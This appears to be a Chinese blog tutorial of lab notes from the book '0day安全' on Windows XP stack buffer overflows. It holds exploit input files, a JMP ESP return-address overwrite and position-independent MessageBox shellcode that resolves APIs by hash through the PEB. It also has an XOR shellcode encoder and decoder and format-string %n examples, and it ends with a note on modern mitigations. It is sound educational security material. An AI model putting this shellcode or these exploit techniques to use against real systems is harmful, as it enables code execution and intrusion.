重读《0day安全》(一)栈溢出与 shellcode 的基本功

5166 字
26 分钟
重读《0day安全》(一)栈溢出与 shellcode 的基本功
这篇文章也有English版。

这个系列是我 2020 年跟着《0day安全:软件漏洞分析技术(第2版)》(failwest 等著)做实验时记的笔记。实验的设计和大部分代码来自这本书,调试过程和理解是我自己的,想系统学的话请去读原书。2026 年重新整理了一遍,改掉了几处代码和说法上的错误,每篇末尾加了一段”今天再看”,讲讲这些技巧在今天的 Windows 上还剩多少。

能够引起软件做一些超出设计范围的事情的 bug 叫做漏洞,这一篇写了一些简单的缓冲区溢出漏洞的利用浅析。

  • 功能性逻辑缺陷(Bug)
  • 安全性逻辑缺陷(Vulnerability)

PE概念#

PE文件与虚拟内存之间的映射#

  • ImageBase:装载基址,(.EXE)默认是0x00400000,(.DLL)默认是0x10000000
  • FileOffset:文件偏移地址
  • VirtualAddress:虚拟地址,是映射到内存中的地址
  • RelativeVirtualAddress:相对虚拟地址,是虚拟地址VA相对装载基址的偏移量

VA = ImageBase + RVA

数据补全填充规则#

  • 在磁盘上时,PE文件的每个节(.section)是以0x200字节为单位存放,当节的大小不足0x200时,使用0x0补全,当节的大小超过0x200时,分配下一个0x200大小给此节
  • 在内存中时,PE文件的每个节(.section)是以0x1000字节为单位存放,规则同上
  • 0x200 和 0x1000 是 VC6 这类编译器的默认值,准确的数字以 PE 头里的 FileAlignment 和 SectionAlignment 为准

SectionOffset = RVA - FileOffset
FileOffset = VA - ImageBase - SectionOffset = RVA - SectionOffset

例如.text节RVA=0x1000,FileOffset=0x400,则SectionOffset=0xC00
0x00404141处指令文件偏移为0x00404141-0x00400000-(0x1000-0x400)=0x3541

函数调用约定#

CSysCallStdCallBASICFORTRANPASCAL
参数入栈顺序右->左右->左右->左左->右左->右左->右
恢复栈平衡的位置母函数母函数子函数子函数子函数子函数

这里的 SysCall 是 OS/2 API 用的调用约定,和 cdecl 一样由调用者清栈(另外用 AL 传参数个数),跟 x86 的 syscall 指令没有关系。Windows 上真正常见的是 C(cdecl) 和 StdCall,Win32 API 基本都是 StdCall。

缓冲区溢出#

栈帧相邻,局部变量相邻,若数组越界,则会覆盖局部变量,接着覆盖函数返回地址
通过淹没栈帧返回地址值以控制程序流程


ShellCode#

Exploit/ShellCode(Payload)的分工合作#

  • Exploit的作用是精准利用某种漏洞,目标是劫持EIP
  • ShellCode将执行恶意/善意代码,是攻击载荷
  • ShellCode一般是通用的,Exploit只能针对某个特定的漏洞工作

实例#

本例使用简单的密码验证来测试漏洞


缓冲区溢出控制程序Flag#

代码(ExpStd0101)#
说明

编译环境:Windows XP SP3, Visual C++ 6, Debug 实验环境:Windows XP SP3

#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
while(1)
{
printf("Input Number:");
scanf("%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("ERROR!");
}
else
{
printf("OK!");
break;
}
}
}
分析(ExpStd0101)#
  • 简易分析

    • 当输入99999999时,它的末尾'\0'将第9个字节填充,正好将authenticated的最低位1个字节0x1改为0x0
    • 这也和strcmp函数有关系,如果str1<str2那authenticated的值-1以补码FFFFFFFF存储,此时即使将低位FF溢出为00也无用,所以并非全部的8位字符都可以绕过验证
  • 进一步验证

    • 当输入8个9时,8字节的buffer填满,覆盖1字节的authenticated空间
    • 当输入11个9时,8字节的buffer填满,覆盖4字节的authenticated空间,即authenticated被完全覆盖,它被冲刷为0x00393939
    • 当输入15个9时,8字节的buffer填满,覆盖4字节的authenticated空间,本函数EBP所在空间也被覆盖(内容是父函数EBP)
    • 当输入19个9时,8字节的buffer填满,覆盖4字节的authenticated空间,覆盖4字节的EBP空间,覆盖4字节的返回地址
  • 更进一步验证

    • 由于键盘无法输入一些不可见字符,所以更换为读取文件验证

硬编码地址控制程序流程#

使用FILE来进行文件的读取

代码(ExpStd0102)#
说明

编译环境:Windows XP SP3, Visual C++ 6, Debug 实验环境:Windows XP SP3

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
if(!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("ERROR!");
}
else
{
printf("OK!");
}
fclose(fp);
}
分析(ExpStd0102)#

首先使用已知的地址进行shellcode的编写,此地址不同编译器编译出的结果不同,不同系统加载的地址也不同,所以只能测试时使用

  • 必要信息
    • 成功分支地址:0x0040111F
    • 由于内存逆序存放(小端序),应该逆序写这些值
  • 十六进制编辑password.txt,如下
34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
1F 11 40 00
  • 运行程序,此时
    • 在栈地址0x0012FB24处存放的是函数verify_password的返回地址
    • 此处已经被冲刷为0040111F,而此地址是成功分支地址
  • 使用成功分支地址替代了返回地址,但是由于堆栈不平衡,所以程序显示成功后崩溃

加入攻击载荷(ShellCode)#

加大了buffer的大小用来承载攻击载荷
动态加载DLL用于调用API

代码(ExpStd0103)#
说明

编译环境:Windows XP SP3, Visual C++ 6, Debug 实验环境:Windows XP SP3

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("ERROR!");
}
else
{
printf("OK!");
}
fclose(fp);
}
分析(ExpStd0103)#

目标:在程序验证时植入代码,实现弹窗MessageBox

  • 必要信息
    • 数组起始地址:0x0012FAF0(也是ShellCode执行的起始地址)
    • MessageBoxA地址:0x77D507EC
    • 十六进制的文字:6661696C77657374(failwest,书里弹窗用的字符串)
  • 组成的机器码
机器码(HEX)汇编码注释
33DBXOR EBX, EBX清空EBX,保证ShellCode中无0(截至符)
53PUSH EBX字符串末尾的\0
68 77657374PUSH 74736577压入文字字节west(0x77657374)
68 6661696CPUSH 6C696166压入文字字节fail(0x6661696C)
8BC4MOV EAX, ESPESP栈顶指向字符串failwest,移交给EAX
53PUSH EBXMB_OK
50PUSH EAXMessage
50PUSH EAXCaption
53PUSH EBXHandle
B8 EC07D577MOV EAX, 0x77D507EC将MessageBoxA的地址硬编码移入EAX
FFD0CALL EAX调用MessageBoxA
  • 将机器码按照顺序写入password.txt
    • 53-56字节填入返回地址(Buffer的起始地址),其余字节用0x90填充
  • 填充运行测试发现,最后只剩下2字节的空间可用,唯一不完美的地方在于程序崩溃退出

以下是最终的password.txt

33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53
50 50 53 B8 EC 07 D5 77 FF D0 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 F0 FA 12 00

这个办法的不足之处在于硬编码地址和栈空间移位的问题,下面先解决栈的位置。


ESP跳板#

ShellCode在内存中往往是动态的,并非直接填写一个定值
也就是前面buffer数组的栈空间地址,并非总是个定值
当CPU执行到此地址时,有可能触发无效指令异常导致程序崩溃,ShellCode无法运行

原理#

从程序已加载的系统DLL中查找一个JMP ESP指令的地址,用此地址去淹没返回地址
这样既能精准定位shellcode的位置,又能适应栈空间的动态变化
栈的地址是上小下大,CPU的执行顺序是小地址到大地址,栈淹没同样从小地址淹没到大地址
这样只要将前面的一段空间淹没为无意义数据,将ShellCode的开始恰好淹没在[ESP]处,就可以达到ShellCode动态寻址

ShellCode编写#

结构#

无用数据+JMP ESP地址(此地址恰好淹没到函数返回地址)+命令代码(用于测试,MessageBox弹窗)

说明:

  • retn后将会跳到JMP ESP处,随后ESP + 4
  • JMP ESP后将会正好跳到命令代码处

必要数据#

  • JMP ESP地址:位于User32.dll中0x77D29353(没必要必须是原版命令,只要搜二进制0xFFE4即可)
  • 垃圾数据大小:52 Byte = Buffer(44 Byte) + authenticated(4 Byte) + EBP(4 Byte)

最终Code#

以下是需要执行的命令代码

33DB xor ebx,ebx
53 push ebx
68 77657374 push 0x74736577
68 6661696C push 0x6C696166
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
B8 EA07D577 mov eax,user32.MessageBoxA
FFD0 call eax
B8 FACA817C mov eax,kernel32.ExitProcess
FFD0 call eax

最终的ShellCode

34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
34 33 32 31 53 93 D2 77 33 DB 53 68 77 65 73 74
68 66 61 69 6C 8B C4 53 50 50 53 B8 EA 07 D5 77
FF D0 B8 FA CA 81 7C FF D0

这次 MessageBoxA 用的是 0x77D507EA,前面用的是 0x77D507EC,两个都能弹窗。差的这两个字节应该就是函数开头那条 mov edi, edi(XP SP2 起留给热补丁用的),跳过它直接从 push ebp 开始执行也没问题。最后补了一个 ExitProcess,程序就不会在弹窗之后崩溃了。

栈的位置解决了,可 API 的地址还是写死的,换一台机器就不灵了。下一步是让 shellcode 自己去找 API。


API动态加载#

通过TEB定位API地址#

定位Kernel32.dll#

  • 用户态下 FS 段的基址就是当前线程的 TEB([FS:0x18] 存着 TEB 自己的地址,[FS:0] 是 SEH 链表头)
  • TEB偏移0x30的位置[TEB + 0x30]存放PEB的地址
  • PEB偏移0xC的位置[PEB + 0xC]存放PEB_LDR_DATA
  • 关于PEB_LDR_DATA结构,微软官方的说明点此,C语言表示如下
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

以下是我的调试结果

typedef struct _PEB_LDR_DATA {
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // +0x0C
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList; // +0x1C
PVOID EntryInProgress;
UCHAR ShutdownInProgress;
PVOID ShutdownThreadId;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
  • 我们需要读取InInitializationOrderModuleList(初始化加载模块列表)来取得Kernel32.dll的地址,而此列表是LIST_ENTRY结构,此结构的微软官方说明如下
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

我的调试结果:链表节点其实嵌在每个模块的 LDR_DATA_TABLE_ENTRY 里,从 InInitializationOrderLinks 这个节点往后看是这样的

typedef struct LinkNode
{
struct LinkNode *Flink;
struct LinkNode *Blink;
PVOID DllAddress; // +0x08,也就是 LDR_DATA_TABLE_ENTRY 的 DllBase
} LinkNode;
  • 由此可见,在链表节点的+0x8处存在DllAddress。在 XP 上这个列表的前两个节点是Ntdll -> Kernel32;从 Windows 7 开始中间多了一个 KernelBase,变成Ntdll -> KernelBase -> Kernel32,所以下面”取第二个节点”的写法只在 XP 上能拿到 kernel32

定位API地址(逆向Kernel32.dll)#

上一小节获得了Kernel32的加载基址,此小节由此获取LoadLibrary和GetProcAddress的地址用于获取其它函数地址

  • 偏移0x3C是PEHeader的入口,标志字为0x5045,文字为PE
  • 再加上0x78的偏移是导出表的地址(Export Directory RVA),此时的偏移为0x168,值为0x262C
  • 再加上0x4的偏移是导出表的大小(Export Directory Size),值是0x6CFD
  • 在磁盘上时,节大小的最小单位是0x200,但加载到内存中,节大小的最小单位变为0x1000,而PE文件头在文件中占据的大小是0x400,但是映射到内存中将占据0x1000的大小,大小差值为0xC00,所以0x262C应当减去0xC00,得到导出目录表Export Directory在文件中的位置0x1A2C
  • 导出目录表(IMAGE_EXPORT_DIRECTORY)里有三张表的 RVA,+0x1C 是函数地址表 AddressOfFunctions,+0x20 是函数名表 AddressOfNames,+0x24 是序号表 AddressOfNameOrdinals
  • 找一个函数的过程是这样,在名字表里找到函数名,记下它的下标 i,到序号表里取第 i 个 WORD 得到序号,再用这个序号去函数地址表里取 RVA,加上基址就是函数地址
  • 用这个办法就能找到LoadLibraryA和GetProcAddress,有了这两个函数,其它 API 都能拿到

调试ShellCode(ExpStd0301)#

char shellcode[] = "\x10\x10";
void main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
}

动态API加载ShellCode#

理论分析#

  • 需要的API函数
    • MessageBoxA(User32.dll)
    • ExitProcess(Kernel32.dll)
    • LoadLibraryA(Kernel32.dll)
  • 一个难题:如何在需要ShellCode尽可能短的情况下(不存在函数名称)找到API的地址

函数名的HASH算法#

理论#
  • 需要引入额外的HASH算法
  • 计算的结果称为DIGEST(摘要)
  • 对搜索到的函数名进行HASH
算法(ExpStd0302)#
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest = 0;
while(*fun_name)
{
digest = ((digest << 25) | (digest >> 7));
digest += *fun_name;
fun_name++;
}
return digest;
}
void main()
{
DWORD hash;
hash = GetHash("MessageBoxA");
printf("Hash is %x", hash);
}

算出来 MessageBoxA 是 0x1e380a6a,ExitProcess 是 0x4fd18963,LoadLibraryA 是 0x0c917432,就是下面压栈的三个值。


最终ShellCode(ExpStd0303)#

int main()
{
_asm{
;flag
nop
nop
nop
nop
nop
cld ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi, esp ;esi = addr of first func hash
lea edi, [esi-0xc] ;edi = addr to start writing func
;make some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx, edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = PEB address
mov ecx, [ebx + 0x0c] ;ecx = loader data pointer
mov ecx, [ecx + 0x1c] ;ecx = first entry in Initialization order list
mov ecx, [ecx] ;ecx = second entry
mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
find_lib_functions:
lodsd ;load next hash into eax and increment esi
cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger and LoadLibrary("user32")
jne find_functions
xchg eax, ebp ;save current hash
call [edi - 0x8] ;LoadLibraryA
xchg eax, ebp ;restore current hash and update ebp with base address of user32.dll
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c] ;eax = start of PEheader
mov ecx, [ebp + eax + 0x78];ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names
add ebx, ebp ;ebx = absolute addr of names table
xor edi, edi ;edi will count through the functions
next_function_loop:
inc edi ;inc function counter
mov esi, [ebx + edi * 4] ;esi = relative offset of current function name
add esi, ebp ;esi = absolute addr of current function name
cdq ;edx will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;compare to the requested hash(saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals table
add ebx, ebp ;ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ;di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ;ebx = relative offset of address table
add ebx, ebp ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ;add to ebp(base addr of module) the relative offset of matched function
xchg eax, ebp ;move func addr into eax
pop edi ;edi is last onto stack in pushad
stosd ;write function addr to [edi] and increment edi
push edi
popad ;restore registers and loop until we reach end of last hash
cmp eax, 0x1e380a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx ;cut string
push 0x74736577
push 0x6c696166 ;push failwest
mov eax, esp ;load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x4] ;call MessageBoxA
push ebx
call [edi - 0x8] ;call ExitProcess
;flag
nop
nop
nop
nop
}
}

这段汇编我第一次抄的时候抄错了三处([ebx + 0x1c]、[ebp + edi * 4]、mov ebx, ebp),后面几篇里用的机器码一直是对的,这次对着机器码反汇编一遍改了过来。


ShellCode编码#

shellcode 里不能有 0x00,有时候还要躲开别的坏字符,最简单的办法就是把它编码一下,前面挂一个小小的解码器。

异或编码#

注意事项#

  • 在选取编码字节时,不可与已有字节相同,否则会出现0
  • 可以使用多个不同编码字节对不同区域编码,但会增加复杂度
  • 可以对shellcode进行多轮编码

实现代码(ExpStd0401)#

void encoder(char* input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
FILE* fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char*)malloc(len + 1);
if(!output)
{
printf("memory error!\n");
exit(0);
}
// encode shellcode
for(i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
}
if(!(fp=fopen("encode.txt", "w+")))
{
printf("output file create error!");
exit(0);
}
fprintf(fp, "\"");
for(i = 0; i< len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if((i + 1) % 16 == 0)
{
fprintf(fp, "\"\n\"");
}
}
fprintf(fp, "\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if(display_flag)
{
for(i = 0; i < len; i++)
{
printf("%0.2x ", output[i]);
if((i + 1) % 16 == 0)
{
printf("\n");
}
}
}
free(output);
}

解码代码(ExpStd0402)#

  • 解码器与shellcode联合执行
  • 默认EAX在shellcode开始时对准shellcode起始位置
  • shellcode最后一个字节为0x90
void main()
{
__asm
{
add eax, 0x14 ;越过decoder(正好0x14字节)记录shellcode起始地址
xor ecx, ecx
decode_loop:
mov bl, [eax + ecx]
xor bl, 0x44 ;用0x44作为key
mov [eax + ecx], bl
inc ecx
cmp bl, 0x90 ;末尾放一个0x90作为结束符
jne decode_loop
}
}

ShellCode减少体积#

方法#

  • 挑选短指令
    • xchg eax, reg ;交换eax和其它寄存器的值
    • lodsb ;把esi指向的一个byte装入al,并增加esi
    • lodsd ;把esi指向的一个dword装入eax,并且增加esi
    • stosd ;将eax的内容复制到edi的内存地址中,每复制四个字节,edi就加0x4,配合rep时ecx为次数
    • stosb ;将al的内容复制到edi的内存地址中,每复制一个字节,edi就加0x1,配合rep时ecx为次数
    • pushad/popad ;从栈中存储/恢复所有寄存器的值
    • cdq ;用edx把eax扩展成四字,在eax<0x80000000时可用作mov edx, 0
  • 复合指令,合并使用指令
  • API参数压栈前将栈空间一片区域置为0,压栈时只要压入非0参数即可
  • 代码当数据用,数据当代码用
  • 栈顶之上数据若有用,抬高栈顶保护它以便以后使用
  • 调用API时有些寄存器总是被保存在栈中,但是大多数函数运行时不会使用EBP,因此可以用EBP保存数据
  • HASH算法存储API

选择适当的HASH算法#

  • 8bit最多表示256个不同的字符,不可避免会有碰撞,但是如果所需函数位于碰撞的第一个,那么也可以使用
  • 即碰撞是可以部分容忍的

格式化串漏洞#

最后顺手记一下另一种能改内存的漏洞,它和溢出不一样,不用越界写。

printf中的缺陷#

例子

#include "stdio.h"
void main()
{
int a = 44,b = 77;
printf("a=%d, b=%d\n",a,b);
printf("a=%d, b=%d\n");
}
  • 上述代码中第二个调用缺少了输出数据的变量列表
  • 然而第二次调用没有引起编译错误,程序正常执行

用printf读取内存数据#

例子

#include "stdio.h"
int main(int argc, char ** argv)
{
printf(argv[1]);
}
  • 当我们向程序传入普通字符串,得到普通字符串
  • 但是如果带有格式控制符,可以读出栈中的数据

用printf向内存中写数据#

例子

#include "stdio.h"
int main(int argc, char ** argv)
{
int len_print = 0;
printf("before write: length=%d\n", len_print);
printf("hello:%d%n\n",len_print, &len_print);
printf("after write: length=%d\n", len_print);
}
  • %n控制符计算出了输出的字符串的长度,然后将它写回了len_print变量中

今天再看#

这一篇里的东西,原理今天全都还对,但实验步骤在现在的 Windows 上基本做不出来了。

固定地址是第一个没了的。Vista 有了 ASLR,现在 MSVC 链接器默认就开 /DYNAMICBASE,0x77D29353 这种写死的 jmp esp 地址换一次开机就不对了,栈也不再总在 0x0012XXXX。栈本身默认不可执行(DEP),跳到栈上的 shellcode 直接触发访问违例。函数里有数组的话编译器还会插 GS cookie,返回之前先检查一遍。这几样后面几篇会一个一个讲。

改返回地址这条路,现在还多了硬件这一关。Intel CET 的影子栈会在 CPU 里另存一份返回地址,ret 时两边对不上就直接报异常。Windows 上叫 Hardware-enforced Stack Protection,只对用 /CETCOMPAT 链接、并且跑在支持 CET 的 CPU 上的 64 位进程生效,浏览器这类高价值目标早就开了。

PEB walk 反而一点没过时。64 位下 TEB 在 GS 段,PEB 在 gs:[0x60],Ldr 在 PEB 的 +0x18,换了偏移,思路完全一样。今天的 shellcode 更常见的是不数位置、直接比模块名(BaseDllName)去认 kernel32,原因就是上面说的 Win7 多出来的 KernelBase。数位置得随着版本改,比名字要稳。也正因为几乎所有 shellcode 都要这么走一遍,“读 PEB->Ldr、遍历导出表、算函数名哈希”成了 EDR 和杀软重点盯的行为。

%n 在 MSVC 的 CRT 里从 VS2005 起默认就是禁用的,碰到它会调用 invalid parameter handler,要用得先 _set_printf_count_output 打开。glibc 还支持 %n,不过开了 _FORTIFY_SOURCE=2 以后,格式串在可写内存里还带 %n 会直接报 %n in writable segment detected 退出。不过上面那个 printf(argv[1]) 用 %x 读栈在哪儿都照样能读,所以格式化字符串到今天也还是真实存在的漏洞,只是想靠它写内存难多了。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

重读《0day安全》(一)栈溢出与 shellcode 的基本功
https://blog.lumysia.net/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/
作者
Livia
发布于
2020-10-18
许可协议
CC BY-NC 4.0

评论区

文章目录